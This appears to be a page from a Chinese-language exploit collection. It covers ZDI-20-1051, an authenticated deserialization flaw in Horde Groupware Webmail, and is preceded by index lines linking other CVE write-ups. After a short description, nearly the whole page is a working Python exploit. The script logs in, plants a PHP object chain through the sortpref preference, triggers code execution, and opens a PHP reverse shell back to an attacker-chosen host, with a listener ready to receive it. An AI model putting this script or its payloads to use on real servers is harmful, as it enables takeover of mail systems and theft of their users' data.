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add 【0day RCE】 Horde Groupware Webmail Edition RCE
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- [CVE-2020-3452：Cisco ASA/FTD 任意文件读取漏洞](./CVE-2020-3452：Cisco_ASAFTD任意文件读取漏洞.md)
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- [74CMS_v5.0.1后台RCE分析](./books/74CMS_v5.0.1后台RCE分析.pdf)
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- [CVE-2020-8163 - Remote code execution of user-provided local names in Rails](https://github.com/sh286/CVE-2020-8163)
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- [【0day RCE】Horde Groupware Webmail Edition RCE](./%E3%80%900day%20RCE%E3%80%91Horde%20Groupware%20Webmail%20Edition%20RCE.md)
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## <span id="head5"> 提权辅助相关</span>
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204
【0day RCE】Horde Groupware Webmail Edition RCE.md
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204
【0day RCE】Horde Groupware Webmail Edition RCE.md
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# 0x00 简介
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Horde Groupware Webmail是美国Horde公司的一套基于浏览器的企业级通信套件。 Horde Groupware Webmail中存在代码注入漏洞。该漏洞源于外部输入数据构造代码段的过程中，网络系统或产品未正确过滤其中的特殊元素。攻击者可利用该漏洞生成非法的代码段，修改网络系统或组件的预期的执行控制流。
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# 0x01 漏洞详情
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ZDI-20-1051
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ZDI-CAN-10436
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此漏洞使远程攻击者可以在受影响的Horde Groupware Webmail Edition安装上执行任意代码。利用身份验证才能利用此漏洞。
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具体缺陷存在于Sort.php中。解析sortpref参数时，该过程无法正确验证用户提供的数据，这可能导致不信任数据的反序列化。攻击者可以利用此漏洞在www-data用户的上下文中执行代码。
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# 0x02 利用工具
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```python
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import re
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import sys
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import socket
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import requests
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import telnetlib
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import base64
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from threading import Thread
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def rs(cbh, cbp):
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return """@error_reporting(-1);
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@set_time_limit(0);
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@ignore_user_abort(1);
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$dis=@ini_get('disable_functions');
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if(!empty($dis)){
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$dis=preg_replace('/[, ]+/', ',', $dis);
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$dis=explode(',', $dis);
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$dis=array_map('trim', $dis);
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}else{
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$dis=array();
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}
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$ipaddr='%s';
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$port=%d;
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function PtdSlhY($c){
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global $dis;
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if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) {
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$c=$c." 2>&1\\n";
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}
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ob_start();
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system($c);
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$o=ob_get_contents();
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ob_end_clean();
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if (strlen($o) === 0){
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$o = "NULL";
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}
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return $o;
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}
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$nofuncs='no exec functions';
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$s=@fsockopen("tcp://$ipaddr",$port);
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while($c=fread($s,2048)){
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$out = '';
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if(substr($c,0,3) == 'cd '){
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chdir(substr($c,3,-1));
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}else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {
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break;
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}else{
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$out=PtdSlhY(substr($c,0,-1));
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if($out===false){
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fwrite($s, $nofuncs);
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break;
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}
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}
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fwrite($s,$out);
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}
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fclose($s);""" % (cbh, cbp)
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def get_session(t, p, usr, pwd):
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uri = "http://%s%slogin.php" % (t, p)
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p = {
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"login_post" : 1337,
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"horde_user" : usr,
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"horde_pass" : pwd
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}
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r = requests.post(uri, data=p, allow_redirects=False)
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match = re.findall("Horde=(.{26});", r.headers['set-cookie'])
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assert len(match) == 2, "(-) failed to login"
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return match[1]
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def trigger_deserialization(t, p, s, host, port):
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""" Object instantiation to reach the deserialization """
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handlerthr = Thread(target=handler, args=(port,))
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handlerthr.start()
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uri = "http://%s%sservices/ajax.php/imp/imple" % (t, p)
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p = {
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"imple" : "IMP_Prefs_Sort",
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"app" : "imp",
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}
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h = { "cmd" : base64.b64encode(rs(host, port).encode()) }
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c = { "Horde" : s }
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r = requests.get(uri, params=p, cookies=c, headers=h)
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match = re.search("horde_logout_token=(.*)&", r.text)
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assert match, "(-) failed to leak the horde_logout_token!"
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p['token'] = match.group(1)
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r = requests.get(uri, params=p, cookies=c, headers=h)
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assert r.status_code == 200, "(-) failed to trigger deserialization!"
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def get_pop():
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""" An updated pop chain """
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pop = 'O:34:"Horde_Kolab_Server_Decorator_Clean":2:{'
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pop += 'S:43:"\\00Horde_Kolab_Server_Decorator_Clean\\00_server";O:20:"Horde_Prefs_Identity":3:{'
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pop += 'S:9:"\\00*\\00_prefs";O:11:"Horde_Prefs":2:{'
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pop += 'S:8:"\\00*\\00_opts";a:1:{'
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pop += 's:12:"sizecallback";a:2:{i:0;O:12:"Horde_Config":1:{'
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pop += 'S:13:"\\00*\\00_oldConfig";s:44:"eval(base64_decode($_SERVER[HTTP_CMD]));die;";'
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pop += '}i:1;s:13:"readXMLConfig";}}'
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pop += 'S:10:"\\00*\\00_scopes";a:1:{'
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pop += 's:5:"horde";C:17:"Horde_Prefs_Scope":10:{[null,[1]]}}}' # implements Serializable using custom unserialize/serialize
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pop += 'S:13:"\\00*\\00_prefnames";a:1:{s:10:"identities";i:0;}'
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pop += 'S:14:"\\00*\\00_identities";a:1:{i:0;i:0;}}' # additional checks
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pop += 'S:42:"\\00Horde_Kolab_Server_Decorator_Clean\\00_added";a:1:{i:0;i:0;}}'
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return pop
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def get_patch():
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""" Our original array """
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patch = 'a:1:{'
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patch += 's:5:"INBOX";a:1:{'
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patch += 's:1:"b";i:6;'
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patch += '}}'
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return patch
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def set_pref(t, p, s, k, o):
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""" A primitive that inserts a string into the database """
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uri = "http://%s%sservices/ajax.php/imp/setPrefValue" % (t, p)
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p = {
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"pref" : k,
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"value" : o,
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}
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c = { "Horde" : s }
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r = requests.get(uri, params=p, cookies=c)
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match = re.search("horde_logout_token=(.*)&", r.text)
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assert match, "(-) failed to leak the horde_logout_token!"
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p['token'] = match.group(1)
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r = requests.get(uri, params=p, cookies=c)
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assert ("\"response\":true" in r.text and r.status_code == 200), "(-) failed to set the preference!"
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def handler(lport):
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print("(+) starting handler on port %d" % lport)
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t = telnetlib.Telnet()
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s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
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s.bind(("0.0.0.0", lport))
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s.listen(1)
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conn, addr = s.accept()
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print("(+) connection from %s" % addr[0])
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t.sock = conn
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print("(+) pop thy shell!")
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t.interact()
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def fix_path(p):
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if p == "/":
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return p
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if not p.startswith("/"):
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p = "/%s" % p
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if not p.endswith("/"):
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p = "%s/" % p
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return p
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def main():
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if len(sys.argv) < 5:
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print("(+) usage %s <target> <path> <user:pass> <connectback:port>" % sys.argv[0])
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print("(+) eg: %s 172.16.175.148 /horde/ hordeuser:pass123 172.16.175.1:1337" % sys.argv[0])
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sys.exit(0)
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target = sys.argv[1]
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path = fix_path(sys.argv[2])
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user = sys.argv[3].split(":")[0]
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pswd = sys.argv[3].split(":")[1]
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host = sys.argv[4].split(":")[0]
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port = int(sys.argv[4].split(":")[1])
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print("(+) targeting http://%s%s" % (target, path))
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session = get_session(target, path, user, pswd)
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print("(+) obtained session %s" % session)
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set_pref(target, path, session, 'sortpref', get_pop())
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print("(+) inserted our php object")
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print("(+) triggering deserialization...")
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trigger_deserialization(target, path, session, host, port)
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set_pref(target, path, session, 'sortpref', get_patch())
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print("(+) repaired the target!")
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if __name__ == "__main__":
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main()
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```
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# 0x03 references
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https://www.zerodayinitiative.com/advisories/ZDI-20-1051/
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https://srcincite.io/pocs/zdi-20-1051.py.txt
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